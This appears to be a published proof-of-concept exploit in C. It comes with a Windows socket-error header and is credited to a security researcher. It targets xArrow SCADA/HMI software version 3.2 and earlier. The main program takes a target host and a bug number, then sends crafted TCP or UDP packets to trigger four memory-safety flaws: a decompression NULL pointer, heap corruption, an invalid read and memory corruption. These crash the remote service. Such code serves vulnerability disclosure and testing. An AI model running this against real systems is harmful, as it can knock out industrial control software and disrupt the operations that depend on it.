-------------
winerr.h
-------------
/*
Header file used for manage errors in Windows
It support socket and errno too
(this header replace the previous sock_errX.h)
*/
#include <string.h>
#include <errno.h>
void std_err(void) {
char *error;
switch(WSAGetLastError()) {
case 10004: error = "Interrupted system call"; break;
case 10009: error = "Bad file number"; break;
case 10013: error = "Permission denied"; break;
case 10014: error = "Bad address"; break;
case 10022: error = "Invalid argument (not bind)"; break;
case 10024: error = "Too many open files"; break;
case 10035: error = "Operation would block"; break;
case 10036: error = "Operation now in progress"; break;
case 10037: error = "Operation already in progress"; break;
case 10038: error = "Socket operation on non-socket"; break;
case 10039: error = "Destination address required"; break;
case 10040: error = "Message too long"; break;
case 10041: error = "Protocol wrong type for socket"; break;
case 10042: error = "Bad protocol option"; break;
case 10043: error = "Protocol not supported"; break;
case 10044: error = "Socket type not supported"; break;
case 10045: error = "Operation not supported on socket"; break;
case 10046: error = "Protocol family not supported"; break;
case 10047: error = "Address family not supported by protocol family"; break;
case 10048: error = "Address already in use"; break;
case 10049: error = "Can't assign requested address"; break;
case 10050: error = "Network is down"; break;
case 10051: error = "Network is unreachable"; break;
case 10052: error = "Net dropped connection or reset"; break;
case 10053: error = "Software caused connection abort"; break;
case 10054: error = "Connection reset by peer"; break;
case 10055: error = "No buffer space available"; break;
case 10056: error = "Socket is already connected"; break;
case 10057: error = "Socket is not connected"; break;
case 10058: error = "Can't send after socket shutdown"; break;
case 10059: error = "Too many references, can't splice"; break;
case 10060: error = "Connection timed out"; break;
case 10061: error = "Connection refused"; break;
case 10062: error = "Too many levels of symbolic links"; break;
case 10063: error = "File name too long"; break;
case 10064: error = "Host is down"; break;
case 10065: error = "No Route to Host"; break;
case 10066: error = "Directory not empty"; break;
case 10067: error = "Too many processes"; break;
case 10068: error = "Too many users"; break;
case 10069: error = "Disc Quota Exceeded"; break;
case 10070: error = "Stale NFS file handle"; break;
case 10091: error = "Network SubSystem is unavailable"; break;
case 10092: error = "WINSOCK DLL Version out of range"; break;
case 10093: error = "Successful WSASTARTUP not yet performed"; break;
case 10071: error = "Too many levels of remote in path"; break;
case 11001: error = "Host not found"; break;
case 11002: error = "Non-Authoritative Host not found"; break;
case 11003: error = "Non-Recoverable errors: FORMERR, REFUSED, NOTIMP"; break;
case 11004: error = "Valid name, no data record of requested type"; break;
default: error = strerror(errno); break;
}
fprintf(stderr, "\nError: %s\n", error);
exit(1);
}
-------------
xarrow_1.c
-------------
/*
by Luigi Auriemma
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <time.h>
#include <zlib.h>
#ifdef WIN32
#include <winsock.h>
#include "winerr.h"
#define close closesocket
#define sleep Sleep
#define ONESEC 1000
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netdb.h>
#define ONESEC 1
#endif
typedef uint8_t u8;
typedef uint16_t u16;
typedef uint32_t u32;
#define VER "0.1"
#define BUFFSZ 8192 // max for recvfrom
#define MAXZIPLEN(n)((n)+(((n)/1000)+1)+12)
int create_socket(int type, struct sockaddr_in *peer);
int xarrow_send_header(int sd, u32 zsize, u32 size);
int xarrow_send(int sd, u8 *buff, u32 size);
int xarrow_recv(int sd, u8 *buff, u32 buffsz);
int tcp_recv(int sd, u8 *buff, int len);
int putmm(u8 *data, u8 *mem, int len);
int putcc(u8 *data, int chr, int len);
int getxx(u8 *data, u32 *ret, int bits);
int putxx(u8 *data, u32 num, int bits);
int timeout(int sock, int secs);
u32 resolv(char *host);
void std_err(void);
int main(int argc, char *argv[]) {
struct sockaddr_in peer;
int sd,
i,
bug,
len;
u16 port = 1975;
u8 *buff,
*host,
*p;
#ifdef WIN32
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif
setbuf(stdout, NULL);
fputs("\n"
"xArrow <= 3.2 multiple vulnerabilities " VER "\n"
"by Luigi Auriemma\n"
"e-mail: aluigi@autistici.org\n"
"web: aluigi.org\n"
"\n", stdout);
if(argc < 3) {
printf("\n"
"Usage: %s <bug> <host> [port(%d)]\n"
"\n"
"Bugs:\n"
"1 = decompression NULL pointer\n"
"2 = heap corruption\n"
"3 = invalid read access (udp port %d)\n"
"4 = memory corruption (udp port %d)\n"
"\n", argv[0], port,
port - 1,
port - 1);
exit(1);
}
bug = atoi(argv[1]);
host = argv[2];
if(argc > 3) port = atoi(argv[3]);
peer.sin_addr.s_addr = resolv(host);
peer.sin_port = htons(port);
peer.sin_family = AF_INET;
printf("- target %s : %hu\n",
inet_ntoa(peer.sin_addr), ntohs(peer.sin_port));
buff = malloc(BUFFSZ);
if(!buff) std_err();
if(bug == 1) {
sd = create_socket(IPPROTO_TCP, &peer);
if(xarrow_send_header(sd, -1, 100) < 0) goto quit;
p = buff;
p += putcc(p, 'a', 100);
if(send(sd, buff, p - buff, 0) < 0) goto quit;
} else if(bug == 2) {
sd = create_socket(IPPROTO_TCP, &peer);
for(i = 0; i < 200; i++) {
if(xarrow_send(sd, NULL, 0) < 0) goto quit;
}
} else if(bug == 3) {
peer.sin_port = htons(ntohs(peer.sin_port) - 1);
sd = create_socket(IPPROTO_UDP, &peer);
p = buff;
p += putxx(p, 0xffffffff, 32);
p += putcc(p, 0, 6);
p += putxx(p, !0, 32);
p += putxx(p, 4, 16);
p += putxx(p, 1, 16);
p += putcc(p, 0, 20);
p += putxx(p, 0x7f000001, 32); // 127.0.0.1, needed!
p += putcc(p, 0, 10);
p += putxx(p, 0xfffd, 16); // ((num << 4) + 0x20) & 0xffff
p += putcc(p, 0, 64);
printf("- send %d bytes\n", p - buff);
for(i = 0; i < 3; i++) {
if(sendto(sd, buff, p - buff, 0, (struct sockaddr *)&peer, sizeof(struct sockaddr_in)) < 0) std_err();
}
goto quit;
} else if(bug == 4) {
peer.sin_port = htons(ntohs(peer.sin_port) - 1);
sd = create_socket(IPPROTO_UDP, &peer);
// all fields set to zero because they are not necessary
p = buff;
p += putxx(p, 0, 32);
p += putcc(p, 0, 6);
p += putxx(p, !0, 32);
p += putxx(p, 4, 16);
p += putxx(p, 1, 16);
p += putcc(p, 0, 20);
p += putxx(p, 0x7f000001, 32); // 127.0.0.1, needed!
p += putcc(p, 0, 10);
p += putxx(p, 0, 16);
p += putcc(p, 0, BUFFSZ - (p - buff));
putxx(buff, (p - buff) - 0x16, 32); // correct size
printf("- send %d bytes\n", p - buff);
for(i = 0; i < 3; i++) {
if(sendto(sd, buff, p - buff, 0, (struct sockaddr *)&peer, sizeof(struct sockaddr_in)) < 0) std_err();
}
goto quit;
} else {
printf("\nError: invalid bug number (%d)\n", bug);
exit(1);
}
for(;;) {
len = xarrow_recv(sd, buff, BUFFSZ);
if(len < 0) goto quit;
}
quit:
printf("- done\n");
close(sd);
return(0);
}
int create_socket(int type, struct sockaddr_in *peer) {
static struct linger ling = {1,1};
static int on = 1;
int sd;
if(type == IPPROTO_TCP) {
sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if(sd < 0) std_err();
if(connect(sd, (struct sockaddr *)peer, sizeof(struct sockaddr_in))
< 0) std_err();
printf("- connected\n");
} else {
sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();
}
setsockopt(sd, SOL_SOCKET, SO_LINGER, (char *)&ling, sizeof(ling));
setsockopt(sd, SOL_SOCKET, SO_BROADCAST, (char *)&on, sizeof(on));
setsockopt(sd, IPPROTO_TCP, TCP_NODELAY, (char *)&on, sizeof(on));
return(sd);
}
int xarrow_send_header(int sd, u32 zsize, u32 size) {
int i;
u8 header[6 + 12],
*p;
p = header;
for(i = 0; i < 3; i++) {
*p++ = 0xeb;
*p++ = 0x90;
}
p += putxx(p, zsize, 32);
p += putxx(p, size, 32);
p += putxx(p, 0xeb90d709, 32);
for(i = 6; i < sizeof(header); i++) {
header[i] ^= 0x50 ^ 0x65 ^ 0x69; // yeah 0x5c
}
if(send(sd, header, sizeof(header), 0) != sizeof(header)) return(-1);
return(0);
}
int xarrow_send(int sd, u8 *buff, u32 size) {
static u8 *zbuff = NULL;
uLongf zsize;
zsize = MAXZIPLEN(size);
zbuff = realloc(zbuff, zsize);
if(!zbuff) std_err();
//if(!buff || !size) // compress it anyway!
if(compress2(zbuff, &zsize, buff, size, 9) != Z_OK) return(-1);
if(xarrow_send_header(sd, zsize, size) < 0) return(-1);
if(send(sd, zbuff, zsize, 0) != zsize) return(-1);
printf("- %u -> %u bytes sent\n", size, (u32)zsize);
return(0);
}
int xarrow_recv(int sd, u8 *buff, u32 buffsz) {
static u8 *zbuff = NULL;
uLongf tmp;
u32 zsize,
size,
type;
int i;
u8 header[6 + 12],
*p;
if(tcp_recv(sd, header, sizeof(header)) < 0) return(-1);
p = header;
for(i = 0; i < 3; i++) {
if(*p != 0xeb) return(-2); p++;
if(*p != 0x90) return(-3); p++;
}
for(i = 6; i < sizeof(header); i++) {
header[i] ^= 0x5c;
}
p += getxx(p, &zsize, 32);
p += getxx(p, &size, 32);
p += getxx(p, &type, 32);
if(type == 0xeb90d709) {
if(zsize > buffsz) return(-4);
zbuff = realloc(zbuff, zsize);
if(!zbuff) std_err();
if(tcp_recv(sd, zbuff, zsize) < 0) return(-5);
tmp = size;
if(uncompress(buff, &tmp, zbuff, zsize) != Z_OK) return(-6);
} else { // in reality here it gets just rejected
if(size > buffsz) return(-4);
if(tcp_recv(sd, buff, size) < 0) return(-5);
}
printf("- %u -> %u bytes received\n", zsize, size);
return(size);
}
int tcp_recv(int sd, u8 *buff, int len) {
int t;
u8 *p;
for(p = buff; len; p += t, len -= t) {
if(timeout(sd, 5) < 0) return(-1);
t = recv(sd, p, len, 0);
if(t <= 0) return(-1);
}
return(0);
}
int putmm(u8 *data, u8 *mem, int len) {
if(len < 0) len = strlen(mem) + 1;
memcpy(data, mem, len);
return(len);
}
int putcc(u8 *data, int chr, int len) {
memset(data, chr, len);
return(len);
}
int getxx(u8 *data, u32 *ret, int bits) {
u32 num;
int i,
bytes;
if(bits <= 4) bytes = bits;
else bytes = bits >> 3;
for(num = i = 0; i < bytes; i++) {
num |= (data[i] << (i << 3));
}
*ret = num;
return(bytes);
}
int putxx(u8 *data, u32 num, int bits) {
int i,
bytes;
if(bits <= 4) bytes = bits;
else bytes = bits >> 3;
for(i = 0; i < bytes; i++) {
data[i] = num >> (i << 3);
}
return(bytes);
}
int timeout(int sock, int secs) {
struct timeval tout;
fd_set fd_read;
tout.tv_sec = secs;
tout.tv_usec = 0;
FD_ZERO(&fd_read);
FD_SET(sock, &fd_read);
if(select(sock + 1, &fd_read, NULL, NULL, &tout)
<= 0) return(-1);
return(0);
}
u32 resolv(char *host) {
struct hostent *hp;
u32 host_ip;
host_ip = inet_addr(host);
if(host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if(!hp) {
printf("\nError: Unable to resolv hostname (%s)\n", host);
exit(1);
}
host_ip = *(u32 *)hp->h_addr;
}
return(host_ip);
}
#ifndef WIN32
void std_err(void) {
perror("\nError");
exit(1);
}
#endif
